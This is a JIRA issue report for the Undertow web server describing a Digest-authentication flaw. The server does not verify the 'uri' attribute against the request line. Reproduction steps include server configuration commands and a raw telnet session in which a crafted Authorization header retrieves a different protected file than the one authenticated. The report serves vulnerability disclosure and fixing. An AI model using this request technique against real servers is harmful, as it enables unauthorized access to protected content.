Uploaded image for project: 'Undertow'
  1. Undertow
  2. UNDERTOW-1190

client can use bogus uri in digest authentication

    Details

    • Steps to Reproduce:
      Hide
      1. copy attached [^application-users.properties] and [^application-roles.properties] to your configuration directory
      2. use attached server configuration [^standalone.xml] or execute via cli:
        /subsystem=security/security-domain=other/authentication=classic/login-module=RealmDirect:remove()
        /subsystem=security/security-domain=other/authentication=classic/login-module=UsersRoles:add(code=UsersRoles,flag=required,module-options={usersProperties=file://${jboss.server.config.dir}/application-users.properties, defaultUsersProperties=file://${jboss.server.config.dir}/application-users.properties, rolesProperties=file://${jboss.server.config.dir}/application-roles.properties, defaultRolesProperties=file://${jboss.server.config.dir}/application-roles.properties, storeDigestCallback=org.jboss.security.auth.callback.RFC2617Digest,hashEncoding=RFC2617,hashStorePassword=true,hashUserPassword=false,hashAlgorithm=MD5})
        reload
        
      3. deploy attached testing war [^jboss-helloworld.war]
      4. now try to access from client:
        $ telnet localhost 8080
        Trying 127.0.0.1...
        Connected to localhost.
        Escape character is '^]'.
        GET /jboss-helloworld/index.html HTTP/1.1
        
        HTTP/1.1 401 Unauthorized
        Expires: 0
        Cache-Control: no-cache, no-store, must-revalidate
        X-Powered-By: Undertow/1
        Server: JBoss-EAP/7
        Pragma: no-cache
        Date: Tue, 03 Oct 2017 09:07:55 GMT
        Connection: keep-alive
        WWW-Authenticate: Digest realm="ApplicationRealm",domain="/jboss-helloworld",nonce="PLPesb1LDrcNMTUwNzAyMTY3NTE0NVwCyWiiKftnUZSKNleNv3k=",opaque="00000000000000000000000000000000",algorithm=MD5,qop="auth"
        Content-Type: text/html;charset=UTF-8
        Content-Length: 71
        
        <html><head><title>Error</title></head><body>Unauthorized</body></html>GET /jboss-helloworld/bogus.html HTTP/1.1
        Authorization: Digest username="admin", realm="ApplicationRealm", uri="/jboss-helloworld/index.html", algorithm=MD5, opaque="00000000000000000000000000000000", qop=auth, nc=00000001, cnonce="1385b64fca1e83c2", nonce="PLPesb1LDrcNMTUwNzAyMTY3NTE0NVwCyWiiKftnUZSKNleNv3k=", response="e4cfb1e72bccf770678f2698ac32b359"
        
        HTTP/1.1 200 OK
        Expires: 0
        Cache-Control: no-cache, no-store, must-revalidate
        X-Powered-By: Undertow/1
        Set-Cookie: JSESSIONID=K_MO_MFfMtXgHkMiLbA2kcgEaCJVTk4nEzEI-cw6.dhcp-10-40-4-199; path=/jboss-helloworld
        Server: JBoss-EAP/7
        Pragma: no-cache
        Accept-Ranges: bytes
        Date: Tue, 03 Oct 2017 09:09:06 GMT
        Connection: keep-alive
        Last-Modified: Tue, 03 Oct 2017 09:06:26 GMT
        Content-Type: text/html
        Content-Length: 19
        
        Other secret file.
        

      What we did here was:

      1. perform GET request so we know server nonce
      2. in same connection perform another GET request to different file using this nonce to calculate content of the Authorization header
      3. NOTE that in the request we use /jboss-helloworld/bogus.html path but in Authorization uri attribute we have /jboss-helloworld/index.html - that means that we get 'bogus.html' file whereas original authentication prompt was for 'index.html'.

      This tool can come handy for computing 'response' value into Authorization header: http://pernau.at/kd/sipdigest.php

      Show
      copy attached [^application-users.properties] and [^application-roles.properties] to your configuration directory use attached server configuration [^standalone.xml] or execute via cli: /subsystem=security/security-domain=other/authentication=classic/login-module=RealmDirect:remove() /subsystem=security/security-domain=other/authentication=classic/login-module=UsersRoles:add(code=UsersRoles,flag=required,module-options={usersProperties=file: //${jboss.server.config.dir}/application-users.properties, defaultUsersProperties=file://${jboss.server.config.dir}/application-users.properties, rolesProperties=file://${jboss.server.config.dir}/application-roles.properties, defaultRolesProperties=file://${jboss.server.config.dir}/application-roles.properties, storeDigestCallback=org.jboss.security.auth.callback.RFC2617Digest,hashEncoding=RFC2617,hashStorePassword= true ,hashUserPassword= false ,hashAlgorithm=MD5}) reload deploy attached testing war [^jboss-helloworld.war] now try to access from client: $ telnet localhost 8080 Trying 127.0.0.1... Connected to localhost. Escape character is '^]' . GET /jboss-helloworld/index.html HTTP/1.1 HTTP/1.1 401 Unauthorized Expires: 0 Cache-Control: no-cache, no-store, must-revalidate X-Powered-By: Undertow/1 Server: JBoss-EAP/7 Pragma: no-cache Date: Tue, 03 Oct 2017 09:07:55 GMT Connection: keep-alive WWW-Authenticate: Digest realm= "ApplicationRealm" ,domain= "/jboss-helloworld" ,nonce= "PLPesb1LDrcNMTUwNzAyMTY3NTE0NVwCyWiiKftnUZSKNleNv3k=" ,opaque= "00000000000000000000000000000000" ,algorithm=MD5,qop= "auth" Content-Type: text/html;charset=UTF-8 Content-Length: 71 <html><head><title>Error</title></head><body>Unauthorized</body></html>GET /jboss-helloworld/bogus.html HTTP/1.1 Authorization: Digest username= "admin" , realm= "ApplicationRealm" , uri= "/jboss-helloworld/index.html" , algorithm=MD5, opaque= "00000000000000000000000000000000" , qop=auth, nc=00000001, cnonce= "1385b64fca1e83c2" , nonce= "PLPesb1LDrcNMTUwNzAyMTY3NTE0NVwCyWiiKftnUZSKNleNv3k=" , response= "e4cfb1e72bccf770678f2698ac32b359" HTTP/1.1 200 OK Expires: 0 Cache-Control: no-cache, no-store, must-revalidate X-Powered-By: Undertow/1 Set-Cookie: JSESSIONID=K_MO_MFfMtXgHkMiLbA2kcgEaCJVTk4nEzEI-cw6.dhcp-10-40-4-199; path=/jboss-helloworld Server: JBoss-EAP/7 Pragma: no-cache Accept-Ranges: bytes Date: Tue, 03 Oct 2017 09:09:06 GMT Connection: keep-alive Last-Modified: Tue, 03 Oct 2017 09:06:26 GMT Content-Type: text/html Content-Length: 19 Other secret file. What we did here was: perform GET request so we know server nonce in same connection perform another GET request to different file using this nonce to calculate content of the Authorization header NOTE that in the request we use /jboss-helloworld/bogus.html path but in Authorization uri attribute we have /jboss-helloworld/index.html - that means that we get 'bogus.html' file whereas original authentication prompt was for 'index.html'. This tool can come handy for computing 'response' value into Authorization header: http://pernau.at/kd/sipdigest.php

      Description

      When using a "Digest" authentication, server does not ensure that value of the "uri" attribute in "Authorization" header matches URI in HTTP request line. This can be exploited by an attacker as a MITM attack to access desired content on server.

      According to the RFC7616:

      The authenticating server MUST assure that the resource designated by the "uri" parameter is the same as the resource specified in the Request-Line; if they are not, the server SHOULD return a 400 Bad Request error.

        Gliffy Diagrams

          Attachments

            Activity

              People

              • Assignee:
                swd847 Stuart Douglas
                Reporter:
                swd847 Stuart Douglas
                Involved:
                James Perkins, Vladimir Dosoudil
              • Votes:
                0 Vote for this issue
                Watchers:
                2 Start watching this issue

                Dates

                • Created:
                  Updated:
                  Resolved: